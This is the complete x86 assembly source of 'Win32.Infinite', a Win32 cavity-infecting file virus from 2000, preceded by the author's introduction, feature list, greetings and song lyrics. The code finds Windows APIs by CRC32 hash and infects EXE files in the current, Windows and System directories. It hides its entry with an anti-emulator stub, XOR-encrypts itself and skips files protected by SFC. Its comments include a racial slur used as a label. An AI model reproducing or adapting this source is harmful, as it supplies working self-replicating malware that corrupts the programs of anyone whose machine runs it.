; ;ΔΔΔΫΫΫΔΫΫΫΔΫΫΫΔΫΫΫΔΫΫΫΔΏ ; ΪΔάάάΔΫΫΫΔΫΫΫΔΫΫΫΔΫΫΫΔΩ [ Win32.Infinite Billy Belcebu/iKX ] ; ΐΔΫΫΫΔΫΫΫΫΫΫΔΔΔΫΫΫΫΫΔΔΏ ΪΔΔΔΔΔΔ[ 1699 bytes Target - Win32 Ring3 ]ΔΔΔΔΔΔ ; ΪΔΫΫΫΔΫΫΫΔΫΫΫΔΫΫΫΔΫΫΫΔΩ ³ [ 17/07/00 - Made in Valencia, Spain ] ; ΐΔΫΫΫΔΫΫΫΔΫΫΫΔΫΫΫΔΫΫΫΔΔΔΩ ; ; ; ; [ Introduction ] ; ; Welcome to Infinite. This virus has been very rare for me, as its ambient ; of development was very odd. Well, it's my first virus using cavity tech, ; something that i thought that it was more difficult than it really was... ; I sincerely doubt that it would work in WinNT family (NT4,W2K), as i havent ; been able to test it there (Win2k has some incompatibilities with my ; 3DFX Voodoo2 and my soundcard), but i didn't wanted to change that thing of ; Win32. If it doesn't, i don't care... Blah blah blah, i've returned from my ; laaaarge VX holydays and i've just recently finished Forever and this babe. ; I hope i haven't lost my awesome code style (blah, just kidding... i don't ; have anything awesome besides the size of my dick - enormous) :) ; Oh, i almost forgot... I've realized that the cavity technique is stable ; most of the times, but it's not perfect, and i should do much more compro- ; bations before infection than the already existing ones, but i really don't ; care: Windows also has fails in its code and noone reminds it ;) ; It's not a special virus in any field, but i wanted to do some cavity stuff ; and here it is. Mwaha! ; ; [ Features ] ; ; + Cavity virus, searches for holes of zeroes or INT 3. ; + Infect files on current, WINDOWS and WINDOWS/SYSTEM directories. ; + Simple & silly 8-byte XOR encryption loop ; + Kinda simple EPO with emulator protection ; + Checks for SFC protection (if it works in Win2k...) ; + CRC32 usage (APIs, extensions...) ; + It's intended to be optimized (not too much, but enough) ; ; [ Greetings ] ; ; This time the greets will go to few ppl. From the VX scene, to StarZer0, ; Wintermute, VirusBuster, Benny, Asmodeus, LifeWire, Bumblebee, Ypsilon, ; and from outside to my best friends out there.Also to the people that tries ; to make this place we call world a much better place. You rule, guyz. ; ; [ Infinity - The song ] ; ; Mother watch your children ; The iron fist of fear is ruling our lives ; It's not too late to change the course ; We can make this world a better place to be in ; ; How much more do we want until we're satisfied? ; What happens when we have what we want? ; Acquiring more, still there's never enough ; We forget those who really are in need ; The end is near, or so they say ; Selling peace with guns ; ; Infinity - Where do we go from here? ; Infinity - Where do we go from here? ; Infinity - Where do we go? ; Infinity - Where do we go from here? ; ; Guns spitting (out the) message of peace everywhere ; Is it really that we don't care? ; See mercenaries of fear selling love ; Telling salvation comes from above ; Arrogance and fear walking hand in hand ; We must see that there's much more to life than this ; ; Mother see your children ; Make us understand to and help us to find the way ; The answers lie inside ; They are locked inside to the vault of truth of us ; It's time to spread the word around ; Be yourself and do what you want to do with your life ; Remember, you get just what you give ; You reap all what you sow ; You are in charge of your own life ; ; Infinity - Where do we go from here? ; Infinity - Where do we go from here? ; Infinity - Where do we go? ; Infinity - Where do we go from here? ; ; You make your own way ; ; ------------------------------------------ ; Infinity - [ Stratovarius ] - ( Infinite ) ; ; (c) 2000 Billy Belcebu/iKX [ http://beautifulpeople.cjb.net ] ; ΙΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ» ; Ί Win32.Infinite (c) 2000 Billy Belcebu/iKX Ί ; ΘΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΌ include host.inc ; Some nice includes include infinite.inc virseg segment dword use32 public'infinite' virus_start: ; ΙΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ» ; Ί Virus code Ί ; ΘΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΌ infinite: push eax ; Make some space on stack pushad call decrypt encrypt_start = $ call get_delta call SetSEH ; Set our new protection frame mov esp,[esp+08h] call get_delta jmp RestoreSEH SetSEH: xor edx,edx push dword ptr fs:[edx] mov dword ptr fs:[edx],esp push 05h ; ECX is the limit of pages pop ecx mov esi,ebp ; We put a page inside our code call CheckImageBase ; Get our own image base mov dword ptr [ebp+modbase-delta],esi push 05h ; 50 pages to scan pop ecx mov esi,[esp+2Ch] ; Put the candidate to kernel call CheckImageBase ; Scan backwards for it mov dword ptr [ebp+kernel-delta],esi lea eax,[ebp+api_list-delta] ; Let's detect all the needed xchg eax,esi ; APIs :) lea edi,[ebp+api_addresses-delta] call GetAPIs ; Virus is now initialized, let's search for objectives. lea edi,[ebp+current_dir-delta] ; Save current directory to push edi ; a temp variable push 7Fh apicall GetCurrentDirectoryA lea edi,[ebp+infect_dir-delta] push 7Fh push edi apicall GetWindowsDirectoryA call SetDir&Infect lea edi,[ebp+infect_dir-delta] push 7Fh push edi apicall GetSystemDirectoryA call SetDir&Infect lea edi,[ebp+current_dir-delta] push edi apicall SetCurrentDirectoryA call Seek&Infect ; Now let's unprotect the memory where the epo bytes will be restored call hh&l ; Hunting high & low :) dq ? hh&l: push 04h ; PAGE_READWRITE push epo_bytes mov eax,dword ptr [ebp+rethost-delta] add eax,dword ptr [ebp+modbase-delta] push eax apicall VirtualProtect ; Now it's time to go away ;) RestoreSEH: xor edx,edx ; Restore the original SEH pop dword ptr fs:[edx] pop edx mov edi,(offset host-400000h) rethost equ $-4 add edi,12345678h modbase equ $-4 mov [esp.20h],edi call over0 sebes db epo_bytes dup (90h) over0: pop esi push epo_bytes pop ecx rep movsb popad ret ; ΙΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ» ; Ί Mark of the virus Ί ; ΘΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΌ db 0,"Win32.Infinite (c) 2000 Billy Belcebu/iKX",0 ; ΙΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ» ; Ί Search for files to infect Ί ; ΘΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΌ SetDir&Infect: lea edi,dword ptr [ebp+infect_dir-delta] push edi apicall SetCurrentDirectoryA Seek&Infect: lea eax,[ebp+WFD-delta] ; Search for files push eax call over3 db "*.*",0 ; Search for all files over3: apicall FindFirstFileA mov dword ptr [ebp+SearchHandle-delta],eax inc eax jz FailOccured SearchForMore: push dword ptr [ebp+modbase-delta] ; Preserve untouchable info push dword ptr [ebp+rethost-delta] lea edi,[(ebp.WFD.szFileName)-delta]; Is the file found factible push edi ; of being infected? call ProcessExtension pop edi jecxz NotThisTime ; Nopes. call InfectPE NotThisTime: pop dword ptr [ebp+rethost-delta] ; Restore this interesting pop dword ptr [ebp+modbase-delta] ; info lea edi,[(ebp.WFD.szFileName)-delta]; Fill this with zeroes mov ecx,260 xor al,al rep stosb lea eax,[ebp.WFD-delta] ; Search for more little push eax ; suckers push dword ptr [ebp+SearchHandle-delta] apicall FindNextFileA or eax,eax jnz SearchForMore CloseSearchHandle: push dword ptr [ebp+SearchHandle-delta] apicall FindClose FailOccured: ret ProcessExtension: ; input: ; EDI - Pointer to file name ; output: ; ECX - NULL if it is not an extension; 1 if it is. xor al,al ; Search for NULL scasb jnz $-1 lea esi,[edi-5] ; Get the extension :) push 05h ; Size to calculate CRC32 pop edi or dword ptr [esi],20202020h ; Make locase the lewsers call CRC32 cmp eax,0F643C743h ; Only EXE files jz ItWasExtension dec edx ItWasExtension: inc edx mov ecx,edx ret ; ΙΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ» ; Ί PE Infection Engine Ί ; ΘΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΌ InfectPE: ; input: ; EDI - Pointer to filename to infect ; output: ; Nothing. cmp dword ptr [ebp+SfcIsFileProtected-delta],00h jz NotInWin2k push edi ; Win2k ability: it has feature push 00h ; that warns the user if an apicall SfcIsFileProtected ; important file is being ; modified. If the file has or eax,eax ; such protection, we won't jnz ExitInfectPE ; touch it, ok? ;) NotInWin2k: push 80h ; Destroy hostile attributes push edi ; and put normal ones apicall SetFileAttributesA xor eax,eax ; Open file for R/W push eax push eax push 03h ; OPEN_EXISTING flag push eax inc eax push eax push 0C0000000h ; READ / WRITE push edi apicall CreateFileA inc eax jz ExitInfectPE dec eax mov dword ptr [ebp+FileHandle-delta],eax ; Save handle of opened file push eax push 00h push eax apicall GetFileSize ; Get its size mov dword ptr [ebp+OriginalSize-delta],eax pop ecx ; ECX = Handle xor ebx,ebx ; EBX = 0 push ebx push 00h ; push size push ebx push 04h push ebx push ecx ; push handle apicall CreateFileMappingA or eax,eax jz CloseFileExitInfectPE mov dword ptr [ebp+MapHandle-delta],eax xor ebx,ebx push 00h ; We want map only file size push ebx push ebx push 02h push eax apicall MapViewOfFile or eax,eax jz UnMap&CloseMap&FileExitInfectPE mov dword ptr [ebp+MapAddress-delta],eax mov esi,[eax+3Ch] ; Ptr to PE header =] add esi,eax mov dword ptr [ebp+PtrPEH-delta],esi cmp word ptr [esi],"EP" ; Check for PE mark jnz Trunc&UnMap&CloseMap&FileExitInfectPE cmp dword ptr [esi.MagicInfection],inf_mark jz Trunc&UnMap&CloseMap&FileExitInfectPE ; Check for previous infection cmp word ptr [esi.Machine],014Ch jnz Trunc&UnMap&CloseMap&FileExitInfectPE ; Check for i386 ;) cmp dword ptr [ebp.WFD.nFileSizeHigh-delta],00h jne Trunc&UnMap&CloseMap&FileExitInfectPE ; Don't allow huge & ugly files cmp dword ptr [ebp.WFD.nFileSizeLow-delta],4000h jb Trunc&UnMap&CloseMap&FileExitInfectPE ; Don't allow too little files mov eax,[esi.EntrypointRVA] ; EAX = Old file's EIP mov dword ptr [ebp+rethost-delta],eax mov edi,esi add esi,0F8h-28h ; Pointer to 1st section-28h nigger: add esi,28h ; Ptr to section name ;) mov edx,eax ; Put in EDX the original EIP sub edx,[esi.VirtualAddress] ; Remove the VirtualAddress cmp edx,[esi.VirtualSize] ; Is EIP pointing to this sec? jae nigger ; If not, loop again mov ebx,dword ptr [ebp+MapAddress-delta] pushad push dword ptr [esi.SizeOfRawData] ; Some tricky thing :) pop dword ptr [esi.VirtualSize] mov eax,[ebp+rethost-delta] add eax,ebx mov dword ptr [ebp+tempshit-delta],eax popad add ebx,[esi.PtrToRawData] add edx,ebx mov esi,edx ; ESI - Pointer to section mov dword ptr [ebp+EPofs-delta],esi ; mapped in mem where da EP is. mov ebx,dword ptr [ebp+OriginalSize-delta] ; Search limit mov ecx,heap_end-virus_start+security ; How many space do we need call SeekForHoles jc ThereWasNoHole pushad sub eax,dword ptr [ebp+MapAddress-delta] mov esi,dword ptr [ebp+PtrPEH-delta] mov edi,esi ; We wanna put some attribs add esi,0F8h-28h ; to the section where the niggr2: add esi,28h ; virus code is located, so mov edx,eax ; we've to search for it :) sub edx,[esi.VirtualAddress] cmp edx,[esi.VirtualSize] jae niggr2 ; EAX = Ptr to hole mov dword ptr [ebp+inf_switch-delta],00h ; Let's check if we can put ourselves inside the hole (more security) mov edx,[esi.VirtualAddress] add edx,[esi.VirtualSize] add eax,((heap_end-virus_start)+security) sub edx,eax js wecantinfectthere mov dword ptr [ebp+inf_switch-delta],01h or [esi.Characteristics],0A0000020h ; PUT IT SUCKA! wecantinfectthere: popad mov ecx,12345678h org $-4 inf_switch dd ? or ecx,ecx jz Trunc&UnMap&CloseMap&FileExitInfectPE lea esi,[ebp+virus_start-delta] mov edi,eax add edi,security ; Some security :) pushad mov eax,12345678h ; Let's calculate where the tempshit = $-4 ; jmp must point to add eax,(killemu-epo) sub edi,eax mov dword ptr [ebp+jmpadd-delta],edi popad mov ecx,virus_size rep movsb ; Encrypt with a silly l00p pushad sub edi,virus_end-encrypt_start mov esi,edi call random mov bl,al mov byte ptr [edi+enc_key-encrypt_start],bl mov byte ptr [ebp+enc_k3y-delta],bl mov ecx,encrypt_end-encrypt_start enc_l00p: lodsb xor al,bl stosb loop enc_l00p popad pushad sub edi,(virus_size-(sebes-virus_start)) mov esi,dword ptr [ebp+EPofs-delta] push epo_bytes pop ecx pushad lewpit: lodsb ; Store EPO bytes also xor al,00h ; encrypted enc_k3y = $-1 stosb loop lewpit popad xchg edi,esi call over69 ;ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΏ epo: call killemu ;³ This code will give the control to the mov esp,[esp+08h] ;³ virus and avoid the scanning of emulators xor edx,edx ;³ at the same time :) pop dword ptr fs:[edx];³ pop edx ;³ db 0E9h ;³ jmpadd: dd ? ;³ killemu:xor edx,edx ;³ push dword ptr fs:[edx];³ mov fs:[edx],esp ;³ div edx ;³ epo_bytes = $-epo ;³ ;ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΩ over69: pop esi rep movsb popad mov esi,dword ptr [ebp+PtrPEH-delta] mov dword ptr [esi.MagicInfection],inf_mark ; Put inf. mark ; Fix checksum if needed add esi,58h cmp dword ptr [esi],00h jz Trunc&UnMap&CloseMap&FileExitInfectPE push esi ; Pointer to CheckSum field call n4t4s dd ? ; Where store old CheckSum n4t4s: push dword ptr [ebp+OriginalSize-delta] push dword ptr [ebp+MapAddress-delta] apicall CheckSumMappedFile ThereWasNoHole: Trunc&UnMap&CloseMap&FileExitInfectPE: UnMap&CloseMap&FileExitInfectPE: push dword ptr [ebp+MapAddress-delta] apicall UnmapViewOfFile CloseMap&FileExitInfectPE: push dword ptr [ebp+MapHandle-delta] apicall CloseHandle CloseFileExitInfectPE: push dword ptr [ebp+FileHandle-delta] apicall CloseHandle ExitInfectPE: ret SeekForHoles: ; input: ; ESI - Pointer inside file (in PE header) ; ECX - How many space do we need ; EBX - Search limit ; output: ; EAX - Pointer to the beginning of the shit ; CF - Set if error (couldn't find hole) call SetSEH1 mov esp,[esp+08h] ; Just for security of call get_delta ; scanning :) jmp NSE_ SetSEH1: xor edx,edx push dword ptr fs:[edx] mov dword ptr fs:[edx],esp push esi GetAnotherByte: xor edx,edx ; Clear counter :) GAB2: dec ebx ; Check if we arrived until jz NoShitEnough ; the limit (run away if so) lodsb or al,al ; NULL byte? jz IsFillByte cmp al,0CCh ; Int 3? (VC6 filez're full jnz GetAnotherByte ; of them) IsFillByte: inc edx ; Increase counter cmp ecx,edx jnz GAB2 WeFoundManyShit: sub esi,ecx ; ESI = Point to shit xchg eax,esi pop esi pop dword ptr fs:[00h] pop edx ret NoShitEnough: pop esi NSE_: stc pop dword ptr fs:[00h] pop edx ret ; ΙΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ» ; Ί APICRC32 Search Engine Ί ; ΘΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΌ GetAPIs proc ; input: ; EAX - Base address of the library where search the APIs ; ESI - Pointer to an array of CRC32 of the APIs we want to search ; EDI - Pointer to where store the APIs ; output: ; Nothing. push eax ; EAX = Handle of module pop dword ptr [ebp+TmpModuleBase-delta] APIS33K: lodsd ; Get in EAX the CRC32 of API push esi edi call GetAPI_ET_CRC32 pop edi esi stosd ; Save in [EDI] the API address cmp byte ptr [esi],0BBh ; There are more APIs in this jnz APIS33K ; library inc esi ; Check if it's the last of cmp byte ptr [esi],"" ; all them jz EndOfAPISearch push esi ; ESI points now to the ASCIIz apicall LoadLibraryA ; string of a library... We ; need to load it! push eax nxtchr: lodsb ; Reach the end of the lib test al,al ; asciiz name jnz nxtchr pop eax jmp GetAPIs EndOfAPISearch: ret GetAPIs endp GetAPI_ET_CRC32 proc ; input: ; EAX - CRC32 of the API we want to know its address ; output: ; EAX - API address, NULL if error xor edx,edx pushad call over_APICRC32_SEH mov esp,[esp+08h] ; Set stack as before xor eax,eax ; signalize the error jmp Remove_APICRC32_SEH over_APICRC32_SEH: push dword ptr fs:[edx] ; Set new SEH frame mov dword ptr fs:[edx],esp xchg eax,edx ; Put CRC32 of da api in EDX mov dword ptr [ebp+Counter-delta],eax ; Clear this field :) push 3Ch pop esi add esi,[ebp+TmpModuleBase-delta] ; Get PE header of module lodsw add eax,[ebp+TmpModuleBase-delta] ; Normalize push 1Ch pop esi add esi,[eax+78h] ; Get a pointer to its edata add esi,[ebp+TmpModuleBase-delta] lea edi,[ebp+AddressTableVA-delta] ; Pointer to the address table lodsd ; Get AddressTable value add eax,[ebp+TmpModuleBase-delta] ; Normalize stosd ; And store in its variable lodsd ; Get NameTable value add eax,[ebp+TmpModuleBase-delta] ; Normalize push eax ; Put it in stack stosd ; Store in its variable lodsd ; Get OrdinalTable value add eax,[ebp+TmpModuleBase-delta] ; Normalize stosd ; Store pop esi ; ESI = NameTable VA @?_3: lodsd ; Get pointer to an API name push esi ; Save again add eax,[ebp+TmpModuleBase-delta] ; Normalize xchg edi,eax ; Store ptr in EDI mov ebx,edi ; And in EBX push edi ; Save EDI xor al,al scasb jnz $-1 pop esi ; ESI = Pointer to API Name sub edi,ebx ; EDI = API Name size push edx ; Save API's CRC32 call CRC32 ; Get actual api's CRC32 pop edx ; Restore API's CRC32 cmp edx,eax ; Are them equal? jz @?_4 ; if yes, we got it pop esi ; Restore ptr to api name inc dword ptr [ebp+Counter-delta] ; And increase the counter jmp @?_3 ; Get another api! @?_4: pop esi ; Remove shit from stack mov eax,12345678h ; Put in EAX the number that Counter = $-4 ; the API occupy in list. shl eax,1 ; *2 (it's an array of words) add eax,[ebp+OrdinalTableVA-delta] ; Normalize xchg eax,esi ; ESI = Ptr 2 ordinal; EAX = 0 lodsw ; Get ordinal in AX cwde ; Clear MSW of EAX shl eax,2 ; And with it we go to the add eax,[ebp+AddressTableVA-delta] ; AddressTable (array of xchg esi,eax ; dwords) lodsd ; Get Address of API RVA add eax,[ebp+TmpModuleBase-delta] ; and normalize!! That's it! Remove_APICRC32_SEH: xor edx,edx ; Remove that SEH frame pop dword ptr fs:[edx] pop edx mov [esp.1Ch],eax popad ret GetAPI_ET_CRC32 endp ; ΙΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ» ; Ί Subroutines Ί ; ΘΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΌ CRC32: ; input: ; ESI - Pointer to the data to process ; EDI - Size of such data ; output: ; EAX - CRC32 of that data cld pushad xor ecx,ecx ; Optimized by me - 2 bytes dec ecx ; less mov edx,ecx NextByteCRC: xor eax,eax xor ebx,ebx lodsb xor al,cl mov cl,ch mov ch,dl mov dl,dh mov dh,8 NextBitCRC: shr bx,1 rcr ax,1 jnc NoCRC xor ax,08320h xor bx,0EDB8h NoCRC: dec dh jnz NextBitCRC xor ecx,eax xor edx,ebx dec edi jnz NextByteCRC not edx not ecx xchg eax,edx rol eax,10h mov ax,cx mov [esp.PUSHAD_EAX],eax popad ret CheckImageBase: ; input: ; ESI - Address inside module ; ECX - Limit ; output: ; ESI - module address and esi,0FFFF0000h cmp word ptr [esi],"ZM" jz ItWasKewlEnough NotCoolAddress: sub esi,00010000h loop CheckImageBase ItWasKewlEnough: ret random: ; input: ; Nothing. ; output: ; EAX - Random number apicall GetTickCount xor eax,12345678h org $-4 seed dd -1 mov dword ptr [ebp+seed-delta],eax ret ; Let's save some bytes ;) get_delta: call delta ; Get a relative address from delta: pop ebp ; when calculate offsets ret ; ΙΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ» ; Ί Virus Data Ί ; ΘΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΌ api_list = $ ; db "KERNEL32",0 ; Don't needed @VirtualProtect dd 079C3D4BBh @FindFirstFileA dd 0AE17EBEFh @FindNextFileA dd 0AA700106h @FindClose dd 0C200BE21h @CreateFileA dd 08C892DDFh @SetFileAttributesA dd 03C19E536h @CloseHandle dd 068624A9Dh @GetCurrentDirectoryA dd 0EBC6C18Bh @SetCurrentDirectoryA dd 0B2DBD7DCh @GetWindowsDirectoryA dd 0FE248274h @GetSystemDirectoryA dd 0593AE7CEh @CreateFileMappingA dd 096B2D96Ch @MapViewOfFile dd 0797B49ECh @UnmapViewOfFile dd 094524B42h @SetEndOfFile dd 059994ED6h @GetFileSize dd 0EF7D811Bh @SetFilePointer dd 085859D42h @GetSystemTime dd 075B7EBE8h @LoadLibraryA dd 04134D1ADh @FreeLibrary dd 0AFDF191Fh @GlobalAlloc dd 083A353C3h @GlobalFree dd 05CDF6B6Ah @WriteFile dd 021777793h @GetProcAddress dd 0FFC97C1Fh @GetTickCount dd 0613FD7BAh db 0BBh db "IMAGEHLP",0 @CheckSumMappedFile dd 078B31744h db 0BBh db "SFC",0 @SfcIsFileProtected dd 06DE8F7ABh db 0BBh ; That's the end, my friend... db "" encrypt_end = $ ; ΙΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ» ; Ί Simple decryption l00p :) Ί ; ΘΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΌ decrypt: pop esi mov edi,esi mov ecx,encrypt_end-encrypt_start mov bl,00h enc_key = $-1 dec_l00p: lodsb xor al,bl stosb loop dec_l00p jmp encrypt_start virus_end = $ ; ΙΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ» ; Ί Virus Data in the heap Ί ; ΘΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΌ kernel dd ? TmpModuleBase dd ? AddressTableVA dd ? NameTableVA dd ? OrdinalTableVA dd ? OriginalSize dd ? SearchHandle dd ? FileHandle dd ? MapHandle dd ? MapAddress dd ? PtrPEH dd ? EPofs dd ? api_addresses = $ ; KERNEL32 APIs VirtualProtect dd ? FindFirstFileA dd ? FindNextFileA dd ? FindClose dd ? CreateFileA dd ? SetFileAttributesA dd ? CloseHandle dd ? GetCurrentDirectoryA dd ? SetCurrentDirectoryA dd ? GetWindowsDirectoryA dd ? GetSystemDirectoryA dd ? CreateFileMappingA dd ? MapViewOfFile dd ? UnmapViewOfFile dd ? SetEndOfFile dd ? GetFileSize dd ? SetFilePointer dd ? GetSystemTime dd ? LoadLibraryA dd ? FreeLibrary dd ? GlobalAlloc dd ? GlobalFree dd ? WriteFile dd ? GetProcAddress dd ? GetTickCount dd ? ; IMAGEHLP APIs CheckSumMappedFile dd ? ; SFC APIs SfcIsFileProtected dd ? ; Other datas WFD WIN32_FIND_DATA infect_dir db 7Fh dup (?) current_dir db 7Fh dup (?) heap_end = $ virseg ends end infinite ;------------------------------[ INFINITE.INC ]------------------------------; ;**************************************************************************** ;** This is the include file for the constant and macros of the virus ** ;**************************************************************************** ; Constants virus_size = virus_end-virus_start total_size = heap_end-virus_start inf_mark = "AIAG" security = 20d ; Very important PUSHAD_EDI = 00h PUSHAD_ESI = 04h PUSHAD_EBP = 08h PUSHAD_ESP = 0Ch PUSHAD_EBX = 10h PUSHAD_EDX = 14h PUSHAD_ECX = 18h PUSHAD_EAX = 1Ch ; Some PE header stuff MagicPE = 00h Machine = 04h NumberOfSections= 06h EntrypointRVA = 28h CodeRVA = 2Ch FileAlignment = 3Ch MagicInfection = 4Ch SizeOfImage = 50h CheckSum = 58h PECharacteristics= 5Eh DirEntryReloc = 0A0h ; Some section header fields SectionName = 00h VirtualSize = 08h VirtualAddress = 0Ch SizeOfRawData = 10h PtrToRawData = 14h PtrToReloc = 18h NumOfReloc = 20h Characteristics = 24h ; Macros apicall macro api2call call dword ptr [ebp+api2call-delta] endm ; Structures WIN32_FIND_DATA struc dwFileAttributes dd ? ftCreationTime dq ? ftLastAccessTime dq ? ftLastWriteTime dq ? nFileSizeHigh dd ? nFileSizeLow dd ? dwReserved0 dd ? dwReserved1 dd ? szFileName db 260 dup (?) szAlternateFileName db 13 dup (?) db 03 dup (?) WIN32_FIND_DATA ends ;-------------------------------[ HOST.INC ]--------------------------------; ;**************************************************************************** ;** This is the host for the first generation ** ;**************************************************************************** .586p .model flat,stdcall extrn MessageBoxA:PROC extrn ExitProcess:PROC _DATA segment dword use32 public 'DATA' szTtl db "Win32.Infinite",0 szMsg db "Size " db virus_size/1000 mod 10 + "0" db virus_size/0100 mod 10 + "0" db virus_size/0010 mod 10 + "0" db virus_size/0001 mod 10 + "0" db " - " db "Virtual " db total_size/1000 mod 10 + "0" db total_size/0100 mod 10 + "0" db total_size/0010 mod 10 + "0" db total_size/0001 mod 10 + "0" db 10,"(c) 2000 Billy Belcebu/iKX",0 _DATA ends _TEXT segment dword use32 public'CODE' virus_init proc jmp virus_start host: db epo_bytes dup (90h) call MessageBoxA,0,offset szMsg,offset szTtl,0 call ExitProcess,0 virus_init endp _TEXT ends